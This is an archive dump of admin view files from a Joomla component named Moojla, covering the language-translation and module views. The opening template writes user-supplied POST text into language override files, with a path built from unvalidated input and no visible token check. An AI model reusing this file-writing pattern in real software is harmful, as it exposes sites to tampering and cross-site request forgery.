enctype="multipart/form-data">


<!--[JCBGUI.custom_admin_view.default.2.$$$$]-->
<?php 
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');
$form = JForm::getInstance("langform",
JPATH_ADMINISTRATOR.'/components/com_moojla/models/forms/' .
"languagetranslation.xml", array("control" =>
"myform"));

$prefillData = array();

if ($_SERVER['REQUEST_METHOD'] === 'POST') 
{
	$app   = JFactory::getApplication();
	// $data = $app->input->post->get('myform', array(),
"array");
	$data = $app->input->getArray();
	
	$myform = $data['myform'];
	if($myform['language'] != '')
	{
		$lang = $myform['language'];
		$isadmin = substr($lang, -1);
		$code = substr($lang, 0, -1);
		$fileurl = JURI::root();
		$filepath = JPATH_ROOT;
		if($isadmin)
		{
			$filepath .= '/administrator/language/overrides/' . $code .
'.override.ini';
			if($myform['override'] != '')
			{
				file_put_contents($filepath, $myform['override']);
			}
			else if(file_exists($filepath))
			{
				file_put_contents($filepath, $myform['override']);
			}
		}
		else
		{
			$filepath .= '/language/overrides/' . $code .
'.override.ini';
			if($myform['override'] != '')
			{
				file_put_contents($filepath, $myform['override']);
			}
			else if(file_exists($filepath))
			{
				file_put_contents($filepath, $myform['override']);
			}
		}
	}
	
}
$form->bind($prefillData);
?>

<?php //echo $this->loadTemplate('languagefilter'); ?>
<?php echo $form->renderField('language');  ?>
<?php echo $form->renderField('original_translation'); 
?>
<?php echo $form->renderField('override');  ?>

<input type="submit" name="submitbtn"
value="<?= JText::_('COM_MOOJLA_SAVE_CHANGES')
?>">
<!--[/JCBGUI$$$$]-->

<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
<?php else: ?>
        <h1><?php echo
JText::_('COM_MOOJLA_NO_ACCESS_GRANTED'); ?></h1>
<?php endif; ?>

views/languagetranslation/tmpl/default_languagefilter.php000064400000002175151165724410020140
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_languagefilter.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

views/languagetranslation/tmpl/index.html000064400000000054151165724410014721
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/languagetranslation/view.html.php000064400000007534151165724410014410
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access'); 

/**
 * Moojla View class for the Languagetranslation
 */
class MoojlaViewLanguagetranslation extends JViewLegacy
{
	// Overwriting JView display method
	function display($tpl = null)
	{
		// get component params
		$this->params = JComponentHelper::getParams('com_moojla');
		// get the application
		$this->app = JFactory::getApplication();
		// get the user object
		$this->user = JFactory::getUser();
		// get global action permissions
		$this->canDo =
MoojlaHelper::getActions('languagetranslation');
		// Initialise variables.
		$this->item = $this->get('Item');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			// add the tool bar
			$this->addToolBar();
		}

		// set the document
		$this->setDocument();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode(PHP_EOL, $errors), 500);
		}

		parent::display($tpl);
	}

	/**
	 * Prepares the document
	 */
	protected function setDocument()
	{

		// always make sure jquery is loaded.
		JHtml::_('jquery.framework');
		// Load the header checker class.
		require_once(
JPATH_COMPONENT_ADMINISTRATOR.'/helpers/headercheck.php' );
		// Initialize the header checker.
		$HeaderCheck = new moojlaHeaderCheck;
		// add the document default css file
		$this->document->addStyleSheet(JURI::root(true)
.'/administrator/components/com_moojla/assets/css/languagetranslation.css',
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		// hide the main menu
		$this->app->input->set('hidemainmenu', true);
		// set the title
		if (isset($this->item->name) && $this->item->name)
		{
			$title = $this->item->name;
		}
		// Check for empty title and add view name if param is set
		if (empty($title))
		{
			$title = JText::_('COM_MOOJLA_LANGUAGETRANSLATION');
		}
		// add title to the page
		JToolbarHelper::title($title,'list');
		// add cpanel button
		JToolBarHelper::custom('languagetranslation.dashboard',
'grid-2', '', 'COM_MOOJLA_DASH', false);

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('languagetranslation');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}
}
?>
views/module/submitbutton.js000064400000002743151165724410012277
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('module, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/module/tmpl/edit.php000064400000011116151165724410011606
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'moduleTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'moduleTab', 'details',
JText::_('COM_MOOJLA_MODULE_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<?php echo JLayoutHelper::render('module.details_left',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'moduleTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'moduleTab', 'publishing',
JText::_('COM_MOOJLA_MODULE_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('module.publishing',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('module.publlshing',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'moduleTab', 'permissions',
JText::_('COM_MOOJLA_MODULE_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="module.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/module/tmpl/index.html000064400000000054151165724410012144
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/module/view.html.php000064400000015162151165724410011627
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Module View class
 */
class MoojlaViewModule extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('module',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_MODULE_NEW' : 'COM_MOOJLA_MODULE_EDIT'),
'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('module.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('module.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('module.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('module.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('module.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.module',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('module.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('module');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_MODULE_NEW' : 'COM_MOOJLA_MODULE_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/module.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/module/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/modules/index.html000064400000000054151165724410011353
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/modules/tmpl/default.php000064400000005515151165724410012476
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=modules.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'moduleList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=modules');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="moduleList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_MODULES_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/modules/tmpl/default_batch_body.php000064400000002332151165724410014646
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo JText::_('COM_MOOJLA_MODULES_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/modules/tmpl/default_batch_footer.php000064400000002730151165724410015211
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('module.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/modules/tmpl/default_body.php000064400000010256151165724410013511
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=modules&task=module.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('module',$item,'modules');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->module_section_id); ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->module_id); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'modules.',
$canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->module_id); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->name); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->modname); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->visible); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->uservisible); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'modules.', true, 'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'modules.', false, 'cb');
?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'modules.', true, 'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'modules.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/modules/tmpl/default_foot.php000064400000002305151165724410013517
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
